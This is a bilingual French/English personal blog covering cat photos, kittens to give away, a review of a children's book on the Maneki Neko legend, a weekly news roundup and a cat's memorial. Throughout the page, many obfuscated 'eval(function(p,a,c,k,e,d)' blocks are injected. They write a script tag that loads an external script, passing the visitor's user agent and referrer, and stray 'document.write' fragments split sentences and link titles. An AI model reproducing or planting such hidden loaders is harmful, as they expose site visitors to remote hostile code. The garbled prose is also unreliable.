eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ihkbz|var|u0026u|referrer|sdsyd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybedn|var|u0026u|referrer|eehte||js|php’.split(‘|’),0,{}))
Caramel, document.write(“”); Toffee & Roussette

Rappel: Toffee & Roussette sont à donner / Reminder: Toffee & Roussette are to be given away
Images du chat-medi
Deux p’tits chatons à vendre: il y a-t-il des intéressés?
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbbbh|var|u0026u|referrer|eyszi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|idbrz|var|u0026u|referrer|htzzi||js|php’.split(‘|’),0,{}))
Two lill’ kittens to sell. Anybody interested?
<a href="http://www.flickr.com/photos/clodjee/10894389656/" target="“new”" title="Toffee by clodjee, document.write(“”); on Flickr”>

Toffee, “tabby orange” / “red tabby”, ?, ± 4 mois / months


Roussette, “écaille-de-tortue” / “tortoiseshell”, ?, ± 4 mois / months
Update (2014-03-01): Les chats, nés en juillet 2013, ont grandi et ont maintenant huit mois. Ils sont toujours disponible et ont été stérilisé et reçu les vaccins de base. (voir la nouvelle affiche et faire circuler).
The cats, born in july 2013, have grown up and are now eight months old. They are still available and have now been neutered and have received basic vaccines (check the new poster and pass around please).
L’image du chat-medi (2013-11-09)
Mes chatons Caramel et Toffee
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eztkt|var|u0026u|referrer|hsfnd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|snkss|var|u0026u|referrer|eyaib||js|php’.split(‘|’),0,{}))
My kittens Caramel and Toffee
<a href="http://www.flickr.com/photos/clodjee/10696770993/" title="Caramel & Toffee by clodjee, document.write(“”); on Flickr”>
Toffee et sa petite soeur (?) Roussette (photo à venir) sont à donner. Quelqu’un est-il intéressé? / Toffee and his little sister (?) Roussette (picture to come soon) are to give away. Anyone interested ?
La légende du Chat Porte-Bonheur
“Il y a de nombreuses années, document.write(“”); j’étais un chat en quête de nourriture et qui cherchait un refuge. Après un long et épuisant chemin, je suis arrivé devant un temple niché au pied d’une majestueuse montagne à la cime enneigée. Je me suis assis sous le portique et j’ai attendu, la patte antérieure levée comme à mon habitude.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttbbn|var|u0026u|referrer|dfats||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebets|var|u0026u|referrer|atddh||js|php’.split(‘|’),0,{}))
“Basée sur la légende japonaise [du] XVIIe siècle, l’histoire de Tama, le chat Porte-Bonheur, raconte l’origine du Maneki Neko, célèbre petit chat qui lève sa patte en signe de bienvenue et procure chance, fortune et prospérité.“
[ Texte du site de l’éditeur et de la couverture arrière ]
Continuez après le saut de page >>
Le court récit de cet album pour enfants nous raconte l’histoire d’un chat errant qui avait la particularité de parfois lever la patte droite, comme si il souhaitait la bienvenue aux gens. C’était un bobtail japonais principalement de couleur blanche mais avec une queue noir et orange. Il fut recueilli par le moine d’un temple en ruines qui le nomma Tama, en souvenir de son enfance sur les rives du fleuve Tama. Un jour, durant un violent orage, un seigneur avait cherché refuge sous les branches d’un magnifique cerisier en fleur. Le cerisier lui semblait un meilleur abris que le temple délabré, mais voyant le chat sur le seuil du temple qui semblait l’inviter à entrer, il changea d’avis. Aussitôt la foudre frappa le cerisier et une grosse branche s’écrasa lourdement à l’endroit où le seigneur se tenait quelques instant plus tôt. Pour remercier le chat qui lui sauva la vie, le seigneur fit restaurer le temple et fit de généreuses donations de sorte que le moine et le chat ne fûrent plus jamais dans le besoin. Le chat porta chance et apporta le bonheur tant au seigneur qu’au moine. C’est pourquoi il est honoré en tant que Chat du Bonheur.
Cette histoire n’est qu’une des nombreuses légendes qui expliquent l’origine du Maneki Neko (??? / littéralement le “chat qui invite”) dont on retrouve la représentation dans une grande variété de formes dans la plupart des boutiques et restaurants Japonais ou même du Chinatown. L’origine du geste provient du chat qui se lave l’oreille, qui s’apparente au geste japonais d’invitation, d’où l’idée du chat qui invite le bonheur. Dans l’émission Must Love Cats (en anglais, qui donne pour origine la légende de la vieille femme d’Imado), on explique que si le chat lève la patte droite il apportera la chance et si c’est la gauche il apportera la fortune (financière) et que parfois il lève les deux (ou même les quatre pattes)! Dans la postface de ce livre pour enfants, l’auteur explique qu’elle a choisit de raconter la variante du chat du temple, qui date du début de l’ère Edo, parce que c’est la plus populaire. Le temple serait celui de Gotokuji et le seigneur serait Naotaka Ii.
C’est un beau conte, bien écrit mais illustré plutôt sobrement, qui raconte un aspect intéressant de la culture japonaise. Je le recommande. Le site de l’éditeur comporte un extrait des dix premières pages du livre si vous désirez en avoir une meilleur idée avant d’en faire l’achat — quoiqu’il est également disponible en bibliothèques.
La légende du Chat porte-Bonheur; Un récit traditionnel du Japon, écrit par Wendy Henrichs et illustré par Yoshiko Jaeggi (traduit par Alice Seelow). Paris, Circonflexe, octobre 2012. 21,5 x 26,0 x 0,9 cm, 32 pg., 13,00 € / $19.95 Can. ISBN: 9782878336184. Couverture cartonnée. Recommandé pour les enfants de 6 à 10 ans. ![]()
Pour plus d’information vous pouvez consulter les sites suivants:
![]()
![]()
![]()
![]()
![]()
http://snagplayer.video.dp.discovery.com/636146/snag-it-player.htm?auto=no
I am Tama, lucky cat: A Japanese Legend © 2011 by Wendy Henrichs. Illustrations © 2011 by Yoshiko Jaeggi. Photographs, page 32 © 2011 by Barbara and Jerry Conner. ©2012, Circonflexe pour l’édition en langue française.
[ Translate ]
The week in review (2013-09-23)
Domestic log — It was again a busy couple of weeks for me. First, document.write(“”); I had two separate sessions of union training (union rep and health & security at work). Going back to class is more tiring than working, I can tell you. I was going back home even more exhausted than usual, so I didn’t write much during that time. I wrote only one comment (which demanded lots of research, so it took me quite a while and it’s a little longer than usual [2000 words] but I am quite happy with it) about Barefoot Gen (in french). I’ll try to catch up on my writing, but unfortunately my pile of books to read keeps growing faster than I can write about them!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|israz|var|u0026u|referrer|krfhy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|etibt|var|u0026u|referrer|yyify||js|php’.split(‘|’),0,{}))
We’re definitely having an early autumn this year. Already by mid-september the temperature had drop to 10~12?C and leaves had started falling from the trees! And I could see (or hear) flights of geese going south. It definitely bodes ill for the season… Now autumn is here and it shows (although the temperature has warmed up a little). It is sunny today, but days tend to be rather dull and cloudy lately. To add to the gloomy atmosphere, two friends of my father died in the last week.
“Oh my God! It’s full of kittens!” An alternate version of 2001 Space Odyssey? No: my backyard in the last couple of weeks! Two separate litters of kittens roam in the backyard. I had a scare when, one day, they all disappeared (I was dismayed: who had stolen my kittens?! It was a hard blow to take after the unexpected departure of my beloved Spotty) but they were all back the next day. I don’t know what happened but I was glad to see them back (actually it was to be expected because mothers tend to move their kittens after a while for security reasons, so it could happen again; although the shed is providing them shelter and there’s always food). If they are still around next month I am planning to adopt one of them, whose shown us great interest and affection…
Besides all that, we keep watching British period drama on TV (finishing Copper and Foyle’s War, only one episode left to the first season of The Bletchley Circle, but season four of Downton Abbey is just starting) and enjoying the beautiful crops of our garden!
Press review — Lately the news have been dominated by two stories: Apple releasing new products (iPhones 5s and 5c, iOS 7) and lots of discussions on the charter of Quebec values. I could say a lot on this subject, but I’ll try to be brief.
I totally agree on the principle that Quebec society (and particularly its government) should be totally secular. I’ve always said that religion should take place only in your head [not on your head!], your home and your temple. No need to broadcast your beliefs with ostentatious signs (and certainly not blocking the metro entrance or wake me up in the morning to distribute leaflets of religious propaganda!). Unfortunately, the government (PQ) has handled the whole situation quite badly, which has been blown out of proportion by its opponents and gave it the bitter taste of xenophobia (some conspiracy theorists say it was done on purpose: either to distract from their poor economical performance or, even crazier, to drive immigrants out of the province to increase their chance in a future sovereignty referendum). However, it should be done fair and square, equally and evenly. Catholic signs of faith should receive the same treatment. That also means no crucifix in classes or in the parliament, no prayers before council meetings.
Personally, I don’t see the problem. I don’t wear any signs of my belief, so why should other people do? Religion is a private matter. That’s the way it should be done here, so why not adapt to this? It is a question of equality. People want to be treated equally? Then it works both ways. And, in this case, the charter is not attacking their liberty of whatever at all: it only asks people not to wear any religious signs if they work for the government, and only during the working hours! Outside of that they can do whatever they want! Someone on the internet compared this with wearing a uniform at work. Is that too much to ask? Of course, it is a delicate and complex subject. The veil that some muslim women wear: is it a religious or cultural expression (after all the Koran only asks women to be “modest”)? Same situation for the turban wore by the Sikhs: in itself it is not an ostentatious sign as it is only used to contains the long hair that their religion requires them not to cut, ever. We should think carefully about all this. Maybe some exceptions, some compromises, are necessary. Unfortunately, many are using this to further their own agenda. If the debate gets ugly, we should try to put ourselves in the others’ place. The fact that we are debating the subject is quite healthy in itself. I am sure we can find a solution that will be acceptable for all and thus preserve the beautiful cultural diversity of our society.
On a lesser extend there also talks about two upcoming elections: municipal and for my union executive team. As usual, I’ve gathered links about the most interesting news and I am sharing them with you:
Anime & Manga related, Japan, Popular Culture
- Isao Takahata & Ghibli’s Kaguya-hime no Monogatari Cast Announced (ANN)
- Final Miyazaki Film to Get Wide Release (ICv2)
- Ranma ½ Relaunch Adds Anime (ICv2)
- ‘The Wind Rises’: Five things to know about Miyazaki’s new movie (L.A. Times)
- L’irrésistible succès du manga algérien (Le Monde) [Baka! Manga = BD japonaise, alors comment un manga algérien peut être possible? Vous voulez probablement dire bande-dessinée algérienne de style manga?]
- Ponent Mon-Fanfare to Release Jiro Taniguchi’s Furari Manga (ANN)
Apple, apps and mobile devices news
- Explore the World’s Best Museums Without Leaving Your Living Room (Gizmodo)
- A Battery Charger That Reports Back To Your iPhone (Gizmodo)
- Olloclip Quick-Flip case for iPhone 5 review: An expensive but convenient companion to your Olloclip lenses (iMore)
- Sony and Camera360 team up, support for Cyber-shot QX cameras coming in next update (iMore)
- Tip: iTunes Radio uncensored (TUAW)
- Google releases Google Translate 2.0 with handwriting support (TUAW)
- Apple’s “incremental approach” to innovation hides in plain sight (TUAW)
Extra: Apple releases iOS 7 and two models of iPhone !!
- Apple iPhone 5s and 5c: everything you need to know (The Verge)
- iPhone 5S and iPhone 5C Unveiled: Everything You Need To Know (Macgasm)
- iPhone 5s: Our Complete Overview (Mac Stories)
- A Photographer’s Take On The iPhone 5S Camera (Tech Crunch)
- iPhone 5S: Apple’s golden ticket? (The Telegraph)
- Here’s why you shouldn’t upgrade to iOS 7…yet (iMore)
- Dites bonjour à iOS 7 ! (MacQuébec)
- iOS 7 video tip: How to view list mode in Calendar (TUAW)
- An hour or so with iOS 7 (TUAW)
- 12 New and Hidden Settings in iOS 7 (The Mac Observer)
- How to stop iOS 7 from destroying your iPhone’s battery life (TUAW)
- Roundup: Catch up on our iOS 7 walkthroughs, app reviews, and how-tos (9 to 5 Mac)
- How to use multiple Apple IDs in iOS 7 (TUAW)
- iOS 7 review (iMore)
- iOS 7’s rebooted Photos app is its unsung gem (TUAW)
- iOS 7 on an iPad 2: First impressions (TUAW)
- Apple fingerprint tech raises ‘privacy questions’ (BBC)
- New York Police actively encouraging people to update to iOS 7 for added security (9 to 5 Mac)
- How to transfer the content of your old iPhone to the iPhone 5s or iPhone 5c (GigaOM)
Books, Digital Edition & Libraries
- Go Ahead and Freak Out About the School with No Books (The Atlantic Wire)
- Bookless Public Library Opens In Texas (NPR)
- Dossier sur le prix du livre (Le Devoir)
- Oh My God, There’s A Cat In Russia That Wears A Bow Tie And Works As A Librarian (BuzzFeed)
- 10 Cats Who Live at the Library (Mental Floss)
- Melissa de la Cruz: Our Shared Homeland is Arrakis (Huffington Post)
- Professor uncovers slave novelist’s secret identity (Salon, NYT)
- Le darwinisme de l’économie numérique: l’exemple des plates-formes de diffusion de livres autoédité (Le Monde)
Economy, Environment & International/U.S. Politics
- Human Rights Watch Report Concludes That Assad Carried Out Chemical Attacks (The Atlantic Wire)
- Japan anger over French Fukushima cartoons (Al Jazeera)
- Syria: ‘Bashar al-Assad ordered me to gas people – but I could not do it’ (The Telegraph)
- Yes, atomic bomb that fell in US almost went off, says document (CNET)
- “Le Canard enchaîné” froisse Tokyo (Le Monde)
Health, home & garden
- Over 2 million dehumidifiers recalled for fire risk (USA Today) [Great! it doesn’t include neither of my Danby or Whirlpool models]
- Peut-on être ivre sans avoir bu ? (Le Monde)
Local News & National Politics
- Charte des valeurs québécoises: L’inconfort des forces souverainistes explose (Le Devoir)
- Écoute électronique: La FTQ risque d’entraver la commission Charbonneau (Le Devoir)
- Le métro sera prolongé vers l’est (Le Devoir)
- Charte des valeurs: quatre visions s’affrontent (La Presse)
- Cimetières cherchent dépouilles (La Presse)
- Charter of Quebec Values’ coverage (The Gazette)
- Municipal affairs: election (The Gazette)
Media, Culture, & Society
- The Government Wants To Define Who Qualifies As A Journalist (Tech Crunch)
- Big Media Scrutiny Becoming the Norm for Pop Culture Businesses (ICv2)
- But What If ‘The Newsroom’ Isn’t Coming Back? (Word and Film)
- BBC America Cancels Period Police Drama ‘Copper’ After Two Seasons (Indie Wire) [Damn you, BBC America!]
- Final Season of ‘Mad Men’ To Air in Two Parts (Slash Film)
- Was the Second Season of ‘The Newsroom’ Better Off Following a Fictional Story Than Real Ones? (Indie Wire)
- AMC is Developing a Second Drama Set in the ‘Walking Dead’ Universe (Indie Wire)
- Le cinéaste Arthur Lamothe est décédé (Le Devoir, La Presse, Radio-Canada)
- Le cinéaste Michel Brault s’est éteint (Le Devoir, Radio-Canada)
- Atheism starts its megachurch: Is it a religion now? (Salon)
- The Senate’s media shield bill protects bloggers, and they should support it (GigaOM)
- “Les Enquêtes de l’inspecteur Wallander” (Le Monde)
- Emmy Awards: Full list of winners (The Globe and Mail)
Sciences & History
- Albert Jacquard 1925-2013: Plaidoyer pour l’humanitude (Le Devoir)
- The First Gear Discovered in Nature (Popular Mechanics)
- Where Do Dreams Come From? (Popular Science)
- Ethiopia’s giant underground blob of magma puzzles scientists (NBC)
- Are ideas to cool the planet realistic? (BBC)
- How Robo-Bees Could Save America’s Crops (Popular Science)
- The Big Bang May Not Have Spawned The Universe After All (Popular Science)
- Curiosity laisse très peu de chances de trouver de la vie sur Mars (Le Monde)
- En Ecosse, le lancement du plus grand parc d’hydroliennes d’Europe (Le Monde)
Technology, Gadgets & Internet
Union stuff & Montreal’s libraries
- Martine Audet: Ma tête est forte de celle qui danse (Radio-Canada) [une collègue de la bibliothèque Plateau Mont-Royal]
- Élections générales au SFMM (SCFP) le mercredi 2 octobre (SFMM)
- Avis de convocation de l’assemblée générale du 24 septembre pour le dépôt des candidatures à l’élection générale (SFMM)
- Liste détaillée des bureaux de scrutin par secteurs (SFMM)
- Les coordonnées des 14 bureaux de scrutin (SFMM)
- Les candidats: l’équipe sortante, la bande à Fugère (facebook)
- Les candidats: l’équipe prétendante et choix alternatif, le 109 au 429 (facebook, web)
- Le site d’information syndicale “Le Canardo Pressé” reprend du service (lien)
[ Traduire ]
L’image du chat-medi (2013-08-31)
Saya: La dernière image du chat-medi de l’été / The last cat-urday picture of this summer
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfdie|var|u0026u|referrer|kdrzk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akzen|var|u0026u|referrer|nfhkk||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/9637438365/" title="Untitled by clodjee, document.write(“”); on Flickr”>
Spotty (c. 2002 – 2013)
Requiescat in pace
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iebfs|var|u0026u|referrer|sztrs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbbft|var|u0026u|referrer|shiyi||js|php’.split(‘|’),0,{}))
It is with great sadness that we announce the passing of our beloved Spotty on Saturday, document.write(“”); August 24. He is survived by his “parents” Clodjee and Miyako, his lovely “brother” Saya, his “grand-parents” Claude-Eugène and Laure, his “aunts” Luce and Francine, as well as his “cousins” Vanille, Cendrine and Pépi.
Spotty came out of the back alley and chose us to take care of him. He was a gentle and overwhelmingly loving cat. He left us after a short sickness. We are immensely grateful for the time he has spent with us.
We want to express our deep gratitude to Dr. Odette Girard and the Clinique vétérinaire de la Promenade.
Please do not send flowers, but instead give a hug to those you love dearly or send donation to your favourite animal shelter or charity (Animal Rescue Network, SPCA Montréal, WWF Canada, etc.).
There won’t be any Cat-urday picture this week (Pas d’Image du Chat-medi cette semaine).
L’image du chat-medi (2013-08-17)
Saya, document.write(“”); en avril de l’an dernier
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shrta|var|u0026u|referrer|bsnse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tddtb|var|u0026u|referrer|diett||js|php’.split(‘|’),0,{}))

L’image du chat-medi (2013-08-10)
Saya et Spotty en mars 2007
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbrif|var|u0026u|referrer|tafiz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abfza|var|u0026u|referrer|eyyea||js|php’.split(‘|’),0,{}))
<a href="http://www.flickr.com/photos/clodjee/9485519457/" title="Saya & Spotty in March 2007 by clodjee, document.write(“”); on Flickr”>